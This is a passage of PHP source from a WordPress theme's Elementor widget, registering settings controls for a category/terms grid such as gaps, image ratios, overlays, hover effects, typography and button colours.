		$this->add_control( 'hide_excerpt_small', array(
			'label'        => __( 'Hide Only Post Excerpt on Small Grid Items', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'condition'    => array(
				'style!' => array( 'style-1', 'style-2' ),
			),
		) );

		$this->add_control( 'title_length', array(
			'label'   => __( 'Custom Words Length for Term Name', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'default' => '',
		) );

		$this->add_control( 'hide_subtitle_mobile', array(
			'label'        => __( 'Hide Terms Description on Mobile', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'excerpt_length', array(
			'label'   => __( 'Custom Words Length for Terms Description', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'min'     => 1,
			'max'     => 500,
			'step'    => 1,
			'default' => 10,
		) );

		$this->add_control( 'show_readmore', array(
			'label'        => __( 'Show View All Posts Button', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Show', 'soledad' ),
			'label_off'    => __( 'Hide', 'soledad' ),
			'return_value' => 'show',
			'default'      => '',
		) );

		$this->add_control( 'hide_rm_small', array(
			'label'        => __( 'Hide View All Posts on Small Grid Items', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'condition'    => array(
				'style!'        => array( 'style-1', 'style-2' ),
				'show_readmore' => 'show',
			),
		) );

		$this->add_control( 'hide_readmore_mobile', array(
			'label'        => __( 'Hide View All Posts on Mobile', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'conditions'   => array(
				'relation' => 'or',
				'terms'    => array(
					array(
						'terms' => array(
							array( 'name' => 'show_readmore', 'operator' => '===', 'value' => 'show' )
						)
					),
				)
			),
		) );

		$this->add_control( 'show_formaticon', array(
			'label'        => __( 'Hide Bookmark Icon', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'selectors'    => array(
				'{{WRAPPER}} .penci-bf-follow-term-wrapper' => 'display: none !important;',
			),
		) );

		$this->add_control( 'onecol_mobile', array(
			'label'        => __( 'Display One Column on Mobile?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'condition'    => array(
				'style!' => array( 'style-1', 'style-2' ),
			),
		) );

		$this->add_control( 'sameh_mobile', array(
			'label'        => __( 'Display Grid Items Same Height on Mobile?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'condition'    => array(
				'onecol_mobile' => 'yes',
				'style!'        => array( 'style-1', 'style-2' ),
			),
		) );

		$this->add_control( 'bgcontent_pos', array(
			'label'     => __( 'Content Position', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'on',
			'options'   => array(
				'on'    => esc_html__( 'On Image', 'soledad' ),
				'below' => esc_html__( 'Below Image', 'soledad' ),
				'above' => esc_html__( 'Above Image', 'soledad' ),
			),
			'condition' => array( 'style' => array( 'style-1', 'style-2' ) ),
		) );

		$this->add_responsive_control( 'bg_gap', array(
			'label'     => __( 'Gap Between Grid & Mansonry Items', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-bgstyle-1 .penci-dflex'                                              => 'margin-left: calc(-{{SIZE}}px/2); margin-right: calc(-{{SIZE}}px/2); width: calc(100% + {{SIZE}}px);',
				'{{WRAPPER}} .penci-bgstyle-2 .item-masonry, {{WRAPPER}} .penci-bgstyle-1 .penci-bgitem' => 'padding-left: calc({{SIZE}}px/2); padding-right: calc({{SIZE}}px/2); margin-bottom: {{SIZE}}px',
				'{{WRAPPER}} .penci-bgstyle-2 .penci-biggrid-data'                                       => 'margin-left: calc(-{{SIZE}}px/2); margin-right: calc(-{{SIZE}}px/2);',
			),
			'condition' => array( 'style' => array( 'style-1', 'style-2' ) ),
		) );

		$this->add_responsive_control( 'bg_othergap', array(
			'label'     => __( 'Gap Between Items', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-biggrid' => '--pcgap: {{SIZE}}px;',
			),
			'condition' => array( 'style!' => array( 'style-1', 'style-2' ) ),
		) );

		$this->add_responsive_control( 'penci_img_ratio', array(
			'label'     => __( 'Adjust Ratio of Images( Unit % )', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'default'   => array( 'size' => 66 ),
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 300, 'step' => 0.5 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-bgitem .penci-image-holder:before' => 'padding-top: {{SIZE}}%;',
			),
			'condition' => array( 'style' => array( 'style-1' ) ),
		) );

		$this->add_responsive_control( 'imgradius', array(
			'label'     => __( 'Custom Border Radius for Images', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, 'step' => 1 ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcbg-thumb, {{WRAPPER}} .pcbg-bgoverlay, {{WRAPPER}} .penci-image-holder' => 'border-radius: {{SIZE}}px; -webkit-border-radius: {{SIZE}}px;',
			)
		) );

		$this->add_responsive_control( 'bg_height', array(
			'label'     => __( 'Custom Item Height (Unit is px)', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 2000, ) ),
			'condition' => array( 'style!' => array( 'style-1', 'style-2' ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-biggrid .penci-fixh' => '--bgh: {{SIZE}}px;',
			),
		) );

		$this->add_control( 'disable_lazy', array(
			'label'        => __( 'Disable Lazyload Images?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'bg_pagination', array(
			'label'     => esc_html__( 'Page Navigation', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'paging', array(
			'label'       => __( 'Page Navigation Style', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => 'none',
			'options'     => array(
				'none'     => esc_html__( 'None', 'soledad' ),
				'nextprev' => esc_html__( 'Ajax Next/Previous', 'soledad' ),
				'loadmore' => esc_html__( 'Load More Terms Button', 'soledad' ),
				'scroll'   => esc_html__( 'Infinite Scroll', 'soledad' ),
			),
			'description' => __( 'Load More Terms Button & Infinite Scroll just works on frontend only.', 'soledad' ),
		) );

		$this->add_control( 'paging_align', array(
			'label'     => __( 'Page Navigation Align', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'align-center',
			'options'   => array(
				'align-center' => esc_html__( 'Center', 'soledad' ),
				'align-left'   => esc_html__( 'Left', 'soledad' ),
				'align-right'  => esc_html__( 'Right', 'soledad' ),
			),
			'condition' => array( 'paging!' => 'none' ),
		) );

		$this->add_responsive_control( 'paging_matop', array(
			'label'     => __( 'Margin Top for Page Navigation', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( '' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-pagination' => 'margin-top: {{SIZE}}px' ),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'biggrid_section_imgsize', array(
			'label' => __( 'Custom Image Sizes', 'soledad' ),
		) );

		$this->add_control( 'thumb_size', array(
			'label'   => __( 'Custom Image Size', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => $this->get_list_image_sizes( true ),
		) );

		$this->add_control( 'bthumb_size', array(
			'label'     => __( 'Image Size for Big Items', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => $this->get_list_image_sizes( true ),
			'condition' => array( 'style!' => array( 'style-1', 'style-2' ) ),
		) );

		$this->add_control( 'mthumb_size', array(
			'label'   => __( 'Custom Image Size for Mobile', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => $this->get_list_image_sizes( true ),
		) );

		$this->end_controls_section();

		$this->register_block_title_section_controls();

		$this->start_controls_section( 'section_biggrid_design', array(
			'label' => __( 'Item Style', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'bg_pos_display', array(
			'label'     => esc_html__( 'Content Text Position and Display', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'content_horizontal_position', array(
			'label'                => __( 'Content Text Horizontal Position', 'soledad' ),
			'type'                 => Controls_Manager::CHOOSE,
			'label_block'          => false,
			'options'              => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-h-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-h-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-h-align-right',
				),
			),
			'selectors'            => array(
				'{{WRAPPER}} .pcbg-content-inner' => '{{VALUE}}',
			),
			'selectors_dictionary' => array(
				'left'   => 'margin-right: auto',
				'center' => 'margin-left: auto; margin-right: auto;',
				'right'  => 'margin-left: auto',
			),
		) );

		$this->add_control( 'content_vertical_position', array(
			'label'                => __( 'Content Text Vertical Position', 'soledad' ),
			'type'                 => Controls_Manager::CHOOSE,
			'label_block'          => false,
			'options'              => array(
				'top'    => array(
					'title' => __( 'Top', 'soledad' ),
					'icon'  => 'eicon-v-align-top',
				),
				'middle' => array(
					'title' => __( 'Middle', 'soledad' ),
					'icon'  => 'eicon-v-align-middle',
				),
				'bottom' => array(
					'title' => __( 'Bottom', 'soledad' ),
					'icon'  => 'eicon-v-align-bottom',
				),
			),
			'selectors'            => array(
				'{{WRAPPER}} .pcbg-content-flex' => 'align-items: {{VALUE}}',
			),
			'selectors_dictionary' => array(
				'top'    => 'flex-start',
				'middle' => 'center',
				'bottom' => 'flex-end',
			),
		) );

		$this->add_control( 'content_text_align', array(
			'label'       => __( 'Content Text Align', 'soledad' ),
			'type'        => Controls_Manager::CHOOSE,
			'label_block' => false,
			'options'     => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'selectors'   => array(
				'{{WRAPPER}} .pcbg-content-flex' => 'text-align: {{VALUE}}'
			)
		) );

		$this->add_control( 'content_display', array(
			'label'   => __( 'Content Text Display', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'block',
			'options' => array(
				'block'        => esc_html__( 'Block', 'soledad' ),
				'inline-block' => esc_html__( 'Inline Block', 'soledad' ),
			),
		) );

		$this->add_responsive_control( 'content_width', array(
			'label'      => __( 'Content Text Max-Width', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => array( '%', 'px' ),
			'range'      => array(
				'%'  => array( 'min' => 0, 'max' => 100, ),
				'px' => array( 'min' => 0, 'max' => 2000, 'step' => 1 ),
			),
			'selectors'  => array( '{{WRAPPER}} .pcbg-content-inner' => 'max-width: {{SIZE}}{{UNIT}}' ),
		) );

		$this->add_control( 'bg_padding_margin', array(
			'label'     => esc_html__( 'Content Text Padding and Margin', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_responsive_control( 'content_padding', array(
			'label'      => __( 'Content Text Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcbg-content-inner' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'content_margin', array(
			'label'      => __( 'Content Text Margin', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcbg-content-inner' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_biggrid_overlay', array(
			'label' => __( 'Overlay Style', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'overlay_type', array(
			'label'   => __( 'Apply Overlay On:', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'whole',
			'options' => array(
				'whole' => 'Whole Image',
				'text'  => 'Whole Content Text',
				'none'  => 'None',
			)
		) );

		$this->add_group_control( Group_Control_Background::get_type(), array(
			'name'      => 'overlay_bg',
			'label'     => __( 'Overlay Background', 'soledad' ),
			'types'     => array( 'classic', 'gradient', 'video' ),
			'selector'  => '{{WRAPPER}} .pcbg-bgoverlay.active-overlay, {{WRAPPER}} .pcbg-bgoverlaytext.active-overlay',
			'condition' => array( 'overlay_type!' => array( 'none' ) ),
		) );

		$this->add_responsive_control( 'overlay_opacity', array(
			'label'     => __( 'Overlay Opacity(%)', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( '%' => array( 'min' => 0, 'max' => 100, 'step' => 1 ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcbg-bgoverlay.active-overlay'     => 'opacity: calc( {{SIZE}}/100 )',
				'{{WRAPPER}} .pcbg-bgoverlaytext.active-overlay' => 'opacity: calc( {{SIZE}}/100 )',
			),
		) );

		$this->add_responsive_control( 'overlay_hopacity', array(
			'label'     => __( 'Overlay Hover Opacity(%)', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( '%' => array( 'min' => 0, 'max' => 100, 'step' => 1 ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-bgmain:hover .pcbg-bgoverlay.active-overlay'     => 'opacity: calc( {{SIZE}}/100 )',
				'{{WRAPPER}} .penci-bgmain:hover .pcbg-bgoverlaytext.active-overlay' => 'opacity: calc( {{SIZE}}/100 )',
			),
		) );

		$this->add_control( 'apply_spe_bg_title', array(
			'label' => __( 'Apply Separate Background for Title', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'spe_bg_title', array(
			'label'     => __( 'Background for Title', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-title' => 'background-color: {{VALUE}}; border-color: {{VALUE}};',
			),
			'condition' => array( 'apply_spe_bg_title' => 'yes' ),
		) );

		$this->add_control( 'spe_bg_htitle', array(
			'label'     => __( 'Background for Title on Hover', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-bgitem:hover .pcbg-title' => 'background-color: {{VALUE}}; border-color: {{VALUE}};',
			),
			'condition' => array( 'apply_spe_bg_title' => 'yes' ),
		) );

		$this->add_control( 'apply_spe_bg_meta', array(
			'label' => __( 'Apply Separate Background for Term Meta', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'spe_bg_meta', array(
			'label'     => __( 'Background for Term Meta', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-meta-desc' => 'background-color: {{VALUE}}; border-color: {{VALUE}};',
			),
			'condition' => array( 'apply_spe_bg_meta' => 'yes' ),
		) );

		$this->add_control( 'spe_bg_hmeta', array(
			'label'     => __( 'Background for Term Meta on Hover', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-bgitem:hover .pcbg-meta-desc' => 'background-color: {{VALUE}}; border-color: {{VALUE}};',
			),
			'condition' => array( 'apply_spe_bg_meta' => 'yes' ),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_bg_hover_effect', array(
			'label' => __( 'Hover Effect', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'image_hover', array(
			'label'   => __( 'Image Hover Effect', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'zoom-in',
			'options' => array(
				'zoom-in'     => 'Zoom-In',
				'zoom-out'    => 'Zoom-out',
				'move-left'   => 'Move to Left',
				'move-right'  => 'Move to Right',
				'move-bottom' => 'Move to Bottom',
				'move-top'    => 'Move to Top',
				'none'        => 'None',
			)
		) );

		$this->add_control( 'text_overlay', array(
			'label'   => __( 'Content Text Hover Type', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'none',
			'options' => array(
				'none'    => 'None',
				'show-in' => 'Show on Hover',
				'hide-in' => 'Hide on Hover',
			)
		) );

		$this->add_control( 'text_overlay_ani', array(
			'label'     => __( 'Content Text Hover Animation', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'movetop',
			'options'   => array(
				'movetop'    => 'Move to Top',
				'movebottom' => 'Move to Bottom',
				'moveleft'   => 'Move to Left',
				'moveright'  => 'Move to Right',
				'zoomin'     => 'Zoom In',
				'zoomout'    => 'Zoom Out',
				'fade'       => 'Fade',
			),
			'condition' => array( 'text_overlay' => array( 'show-in', 'hide-in' ) ),
		) );

		$this->add_control( 'title_anivisi', array(
			'label'     => __( 'Makes Titles Always Visible?', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'condition' => array( 'text_overlay' => array( 'show-in', 'hide-in' ) ),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_biggrid_typo', array(
			'label' => __( 'Typography & Colors', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'bgitem_design', array(
			'label'     => esc_html__( 'Terms Items', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'ver_border', array(
			'label'        => __( 'Add Vertical Border Between Terms Items', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'condition'    => array( 'style' => 'style-1' ),
		) );

		$this->add_control( 'ver_bordercl', array(
			'label'     => __( 'Custom Vertical Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-verbd .penci-dflex .penci-bgitem' => 'border-right-color: {{VALUE}};',
			),
			'condition' => array( 'ver_border' => 'yes', 'style' => 'style-1' ),
		) );

		$this->add_responsive_control( 'ver_borderw', array(
			'label'     => __( 'Custom Vertical Border Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcbg-verbd .penci-dflex .penci-bgitem' => 'border-right-width: {{SIZE}}px;',
			),
			'condition' => array( 'ver_border' => 'yes', 'style' => 'style-1' ),
		) );

		$this->add_control( 'bgitem_bg', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-biggrid .penci-bgitin' => 'background-color: {{VALUE}};',
				'body.pcdark-mode {{WRAPPER}} .penci-biggrid .penci-bgitin'       => 'background-color: rgba(55,55,55,0.2);',
			),
		) );

		$this->add_control( 'bgitem_borders', array(
			'label'     => __( 'Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-biggrid .penci-bgitin' => 'border: 1px solid {{VALUE}};',
			),
		) );

		$this->add_responsive_control( 'bgitem_borderwidth', array(
			'label'      => __( 'Borders Width', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-biggrid .penci-bgitin' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'bgitem_padding', array(
			'label'      => __( 'Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-biggrid .penci-bgitin' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		// Box Shadow
		$this->add_control( 'heading_featured_image_shadow', array(
			'label'     => __( 'Featured Image Shadow', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'featured_image_shadow_enable', array(
			'label' => __( 'Enable Shadow?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_responsive_control( 'featured_image_shadow', array(
			'label'     => __( 'Image Shadow', 'soledad' ),
			'type'      => Controls_Manager::BOX_SHADOW,
			'selectors' => [
				'{{WRAPPER}} .penci-bgitin, {{WRAPPER}} .pcbg-thumb' => 'box-shadow: {{HORIZONTAL}}px {{VERTICAL}}px {{BLUR}}px {{SPREAD}}px {{COLOR}} {{box_shadow_position.VALUE}};',
			],
			'condition' => [ 'featured_image_shadow_enable' => 'yes' ]
		) );

		$this->add_control( 'title_design', array(
			'label'     => esc_html__( 'Term Title', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'bgtitle_color', array(
			'label'     => __( 'Title Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcbg-content-inner .pcbg-title a,{{WRAPPER}} .pcbg-content-inner .pcbg-title' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'bgtitle_color_hover', array(
			'label'     => __( 'Title Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci-bgmain:hover .pcbg-content-inner .pcbg-title a' => 'color: {{VALUE}};' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'bgtitle_typo_big',
			'label'     => __( 'Title Typography for Big Items', 'soledad' ),
			'selector'  => '{{WRAPPER}} .pcbg-big-item .pcbg-content-inner .pcbg-title,{{WRAPPER}} .pcbg-big-item .pcbg-content-inner .pcbg-title a',
			'condition' => array( 'style!' => array( 'style-1', 'style-2' ) ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'bgtitle_typo',
			'label'    => __( 'Title Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcbg-content-inner .pcbg-title,{{WRAPPER}} .pcbg-content-inner .pcbg-title a',
		) );

		$this->add_control( 'desc_design', array(
			'label'     => esc_html__( 'Term Meta Text', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'bgdesc_color', array(
			'label'     => __( 'Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-content-inner .pcbg-meta'      => 'color: {{VALUE}};',
				'{{WRAPPER}} .pcbg-content-inner .pcbg-meta span' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'bgdesc_link_color', array(
			'label'     => __( 'Links Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-content-inner .pcbg-meta a'      => 'color: {{VALUE}};',
				'{{WRAPPER}} .pcbg-content-inner .pcbg-meta span a' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'bgdesc_link_hcolor', array(
			'label'     => __( 'Links Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-content-inner .pcbg-meta a:hover'      => 'color: {{VALUE}};',
				'{{WRAPPER}} .pcbg-content-inner .pcbg-meta span a:hover' => 'color: {{VALUE}};',
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'title_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcbg-content-inner .pcbg-meta,{{WRAPPER}} .pcbg-content-inner .pcbg-meta span, {{WRAPPER}} .pcbg-content-inner .pcbg-meta a',
		) );

		$this->add_control( 'excerpt_design', array(
			'label'     => esc_html__( 'Terms Description', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'excerpt_tcolor', array(
			'label'     => __( 'Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-pexcerpt, {{WRAPPER}} .pcbg-pexcerpt a, {{WRAPPER}} .pcbg-pexcerpt p' => 'color: {{VALUE}};',
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'excerpt_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcbg-pexcerpt, {{WRAPPER}} .pcbg-pexcerpt a, {{WRAPPER}} .pcbg-pexcerpt p',
		) );

		$this->add_control( 'readmore_design', array(
			'label'     => esc_html__( 'View All Button', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'readmore_color', array(
			'label'     => __( 'Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'readmore_hcolor', array(
			'label'     => __( 'Text Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn:hover, {{WRAPPER}} .pcbg-overlap-hover:hover .pcbg-readmore-sec .pcbg-readmorebtn' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'bgreadmore_color', array(
			'label'     => __( 'Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn' => 'border: 1px solid {{VALUE}};',
			),
		) );

		$this->add_control( 'bgreadmore_hcolor', array(
			'label'     => __( 'Borders Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn:hover, {{WRAPPER}} .pcbg-overlap-hover:hover .pcbg-readmore-sec .pcbg-readmorebtn' => 'border-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'bgreadmore_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn' => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'bgreadmore_hbgcolor', array(
			'label'     => __( 'Hover Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn:hover, {{WRAPPER}} .pcbg-overlap-hover:hover .pcbg-readmore-sec .pcbg-readmorebtn' => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'bgreadm_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn',
		) );

		$this->add_responsive_control( 'bgreadmore_borderwidth', array(
			'label'      => __( 'Borders Width', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'bgreadmore_borderradius', array(
			'label'      => __( 'Borders Radius', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
